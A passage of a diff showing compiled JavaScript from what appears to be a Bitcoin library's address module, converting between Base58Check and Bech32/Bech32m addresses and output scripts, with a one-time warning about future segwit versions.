+ ('get' in desc ? !m.__esModule : desc.writable || desc.configurable)
11
+ ) {
12
+ desc = {
13
+ enumerable: true,
14
+ get: function () {
15
+ return m[k];
16
+ },
17
+ };
18
+ }
19
+ Object.defineProperty(o, k2, desc);
20
+ }
21
+ : function (o, m, k, k2) {
22
+ if (k2 === undefined) k2 = k;
23
+ o[k2] = m[k];
24
+ });
25
+ var __setModuleDefault =
26
+ (this && this.__setModuleDefault) ||
27
+ (Object.create
28
+ ? function (o, v) {
29
+ Object.defineProperty(o, 'default', { enumerable: true, value: v });
30
+ }
31
+ : function (o, v) {
32
+ o['default'] = v;
33
+ });
34
+ var __importStar =
35
+ (this && this.__importStar) ||
36
+ function (mod) {
37
+ if (mod && mod.__esModule) return mod;
38
+ var result = {};
39
+ if (mod != null)
40
+ for (var k in mod)
41
+ if (k !== 'default' && Object.prototype.hasOwnProperty.call(mod, k))
42
+ __createBinding(result, mod, k);
43
+ __setModuleDefault(result, mod);
44
+ return result;
45
+ };
46
+ var __importDefault =
47
+ (this && this.__importDefault) ||
48
+ function (mod) {
49
+ return mod && mod.__esModule ? mod : { default: mod };
50
+ };
51
+ Object.defineProperty(exports, '__esModule', { value: true });
52
+ exports.fromBase58Check = fromBase58Check;
53
+ exports.fromBech32 = fromBech32;
54
+ exports.toBase58Check = toBase58Check;
55
+ exports.toBech32 = toBech32;
56
+ exports.fromOutputScript = fromOutputScript;
57
+ exports.toOutputScript = toOutputScript;
58
+ const networks = __importStar(require('./networks.cjs'));
59
+ const payments = __importStar(require('./payments/index.cjs'));
60
+ const bscript = __importStar(require('./script.cjs'));
61
+ const types_js_1 = require('./types.cjs');
62
+ const bech32_1 = require('bech32');
63
+ const bs58check_1 = __importDefault(require('bs58check'));
64
+ const tools = __importStar(require('uint8array-tools'));
65
+ const v = __importStar(require('valibot'));
66
+ const FUTURE_SEGWIT_MAX_SIZE = 40;
67
+ const FUTURE_SEGWIT_MIN_SIZE = 2;
68
+ const FUTURE_SEGWIT_MAX_VERSION = 16;
69
+ const FUTURE_SEGWIT_MIN_VERSION = 2;
70
+ const FUTURE_SEGWIT_VERSION_DIFF = 0x50;
71
+ const FUTURE_SEGWIT_VERSION_WARNING =
72
+ 'WARNING: Sending to a future segwit version address can lead to loss of funds. ' +
73
+ 'End users MUST be warned carefully in the GUI and asked if they wish to proceed ' +
74
+ 'with caution. Wallets should verify the segwit version from the output of fromBech32, ' +
75
+ 'then decide when it is safe to use which version of segwit.';
76
+ const WARNING_STATES = [false, false];
77
+ /**
78
+ * Converts an output buffer to a future segwit address.
79
+ * @param output - The output buffer.
80
+ * @param network - The network object.
81
+ * @returns The future segwit address.
82
+ * @throws {TypeError} If the program length or version is invalid for segwit address.
83
+ */
84
+ function _toFutureSegwitAddress(output, network) {
85
+ const data = output.slice(2);
86
+ if (
87
+ data.length < FUTURE_SEGWIT_MIN_SIZE ||
88
+ data.length > FUTURE_SEGWIT_MAX_SIZE
89
+ )
90
+ throw new TypeError('Invalid program length for segwit address');
91
+ const version = output[0] - FUTURE_SEGWIT_VERSION_DIFF;
92
+ if (
93
+ version < FUTURE_SEGWIT_MIN_VERSION ||
94
+ version > FUTURE_SEGWIT_MAX_VERSION
95
+ )
96
+ throw new TypeError('Invalid version for segwit address');
97
+ if (output[1] !== data.length)
98
+ throw new TypeError('Invalid script for segwit address');
99
+ if (WARNING_STATES[0] === false) {
100
+ console.warn(FUTURE_SEGWIT_VERSION_WARNING);
101
+ WARNING_STATES[0] = true;
102
+ }
103
+ return toBech32(data, version, network.bech32);
104
+ }
105
+ /**
106
+ * Decodes a base58check encoded Bitcoin address and returns the version and hash.
107
+ *
108
+ * @param address - The base58check encoded Bitcoin address to decode.
109
+ * @returns An object containing the version and hash of the decoded address.
110
+ * @throws {TypeError} If the address is too short or too long.
111
+ */
112
+ function fromBase58Check(address) {
113
+ const payload = bs58check_1.default.decode(address);
114
+ // TODO: 4.0.0, move to "toOutputScript"
115
+ if (payload.length < 21) throw new TypeError(address + ' is too short');
116
+ if (payload.length > 21) throw new TypeError(address + ' is too long');
117
+ const version = tools.readUInt8(payload, 0);
118
+ const hash = payload.slice(1);
119
+ return { version, hash };
120
+ }
121
+ /**
122
+ * Converts a Bech32 or Bech32m encoded address to its corresponding data representation.
123
+ * @param address - The Bech32 or Bech32m encoded address.
124
+ * @returns An object containing the version, prefix, and data of the address.
125
+ * @throws {TypeError} If the address uses the wrong encoding.
126
+ */
127
+ function fromBech32(address) {
128
+ let result;
129
+ let version;
130
+ try {
131
+ result = bech32_1.bech32.decode(address);
132
+ } catch (e) {}
133
+ if (result) {
134
+ version = result.words[0];
135
+ if (version !== 0) throw new TypeError(address + ' uses wrong encoding');
136
+ } else {
137
+ result = bech32_1.bech32m.decode(address);
138
+ version = result.words[0];
139
+ if (version === 0) throw new TypeError(address + ' uses wrong encoding');
140
+ }
141
+ const data = bech32_1.bech32.fromWords(result.words.slice(1));
142
+ return {
143
+ version,
144
+ prefix: result.prefix,
145
+ data: Uint8Array.from(data),
146
+ };
147
+ }
148
+ /**
149
+ * Converts a hash to a Base58Check-encoded string.
150
+ * @param hash - The hash to be encoded.
151
+ * @param version - The version byte to be prepended to the encoded string.
152
+ * @returns The Base58Check-encoded string.
153
+ */
154
+ function toBase58Check(hash, version) {
155
+ v.parse(v.tuple([types_js_1.Hash160bitSchema, types_js_1.UInt8Schema]), [
156
+ hash,
157
+ version,
158
+ ]);
159
+ const payload = new Uint8Array(21);
160
+ tools.writeUInt8(payload, 0, version);
161
+ payload.set(hash, 1);
162
+ return bs58check_1.default.encode(payload);
163
+ }
164
+ /**
165
+ * Converts a buffer to a Bech32 or Bech32m encoded string.
166
+ * @param data - The buffer to be encoded.
167
+ * @param version - The version number to be used in the encoding.
168
+ * @param prefix - The prefix string to be used in the encoding.
169
+ * @returns The Bech32 or Bech32m encoded string.
170
+ */
171
+ function toBech32(data, version, prefix) {
172
+ const words = bech32_1.bech32.toWords(data);
173
+ words.unshift(version);
174
+ return version === 0
175
+ ? bech32_1.bech32.encode(prefix, words)
176
+ : bech32_1.bech32m.encode(prefix, words);
177
+ }
178
+ /**
179
+ * Converts an output script to a Bitcoin address.
180
+ * @param output - The output script as a Buffer.
181
+ * @param network - The Bitcoin network (optional).
182
+ * @returns The Bitcoin address corresponding to the output script.
183
+ * @throws If the output script has no matching address.
184
+ */
185
+ function fromOutputScript(output, network) {
186
+ // TODO: Network
187
+ network = network || networks.bitcoin;
188
+ try {
189
+ return payments.p2pkh({ output, network }).address;
190
+ } catch (e) {}
191
+ try {
192
+ return payments.p2sh({ output, network }).address;
193
+ } catch (e) {}
194
+ try {
195
+ return payments.p2wpkh({ output, network }).address;
196
+ } catch (e) {}
197
+ try {
198
+ return payments.p2wsh({ output, network }).address;
199
+ } catch (e) {}
200
+ try {
201
+ return payments.p2tr({ output, network }).address;
202
+ } catch (e) {}
203
+ try {
204
+ return _toFutureSegwitAddress(output, network);
205
+ } catch (e) {}
206
+ throw new Error(bscript.toASM(output) + ' has no matching Address');
207
+ }
208
+ /**
209
+ * Converts a Bitcoin address to its corresponding output script.
210
+ * @param address - The Bitcoin address to convert.
211
+ * @param network - The Bitcoin network to use. Defaults to the Bitcoin network.
212
+ * @returns The corresponding output script as a Buffer.
213
+ * @throws If the address has an invalid prefix or no matching script.
214
+ */
215
+ function toOutputScript(address, network) {
216
+ network = network || networks.bitcoin;
217
+ let decodeBase58;
218
+ let decodeBech32;
219
+ try {
220
+ decodeBase58 = fromBase58Check(address);
221
+ } catch (e) {}
222
+ if (decodeBase58) {
223
+ if (decodeBase58.version === network.pubKeyHash)
224
+ return payments.p2pkh({ hash: decodeBase58.hash }).output;
225
+ if (decodeBase58.version === network.scriptHash)
226
+ return payments.p2sh({ hash: decodeBase58.hash }).output;
227
+ } else {
228
+ try {
229
+ decodeBech32 = fromBech32(address);
230
+ } catch (e) {}
231
+ if (decodeBech32) {
232
+ if (decodeBech32.prefix !== network.bech32)
233
+ throw new Error(address + ' has an invalid prefix');
234
+ if (decodeBech32.version === 0) {
235
+ if (decodeBech32.data.length === 20)
236
+ return payments.p2wpkh({ hash: decodeBech32.data }).output;
237
+ if (decodeBech32.data.length === 32)
238
+ return payments.p2wsh({ hash: decodeBech32.data }).output;
239
+ } else if (decodeBech32.version === 1) {
240
+ if (decodeBech32.data.length === 32)
241
+ return payments.p2tr({ pubkey: decodeBech32.data }).output;
242
+ } else if (
243
+ decodeBech32.version >= FUTURE_SEGWIT_MIN_VERSION &&
244
+ decodeBech32.version <= FUTURE_SEGWIT_MAX_VERSION &&
245
+ decodeBech32.data.length >= FUTURE_SEGWIT_MIN_SIZE &&
246
+ decodeBech32.data.length <= FUTURE_SEGWIT_MAX_SIZE
247
+ ) {
248
+ if (WARNING_STATES[1] === false) {
249
+ console.warn(FUTURE_SEGWIT_VERSION_WARNING);
250
+ WARNING_STATES[1] = true;
251
+ }
252
+ return bscript.compile([
253
+ decodeBech32.version + FUTURE_SEGWIT_VERSION_DIFF,
254
+ decodeBech32.data,
255
+ ]);
256
+ }
257
+ }
258
+ }
259
+ throw new Error(address + ' has no matching Script');
260
+ }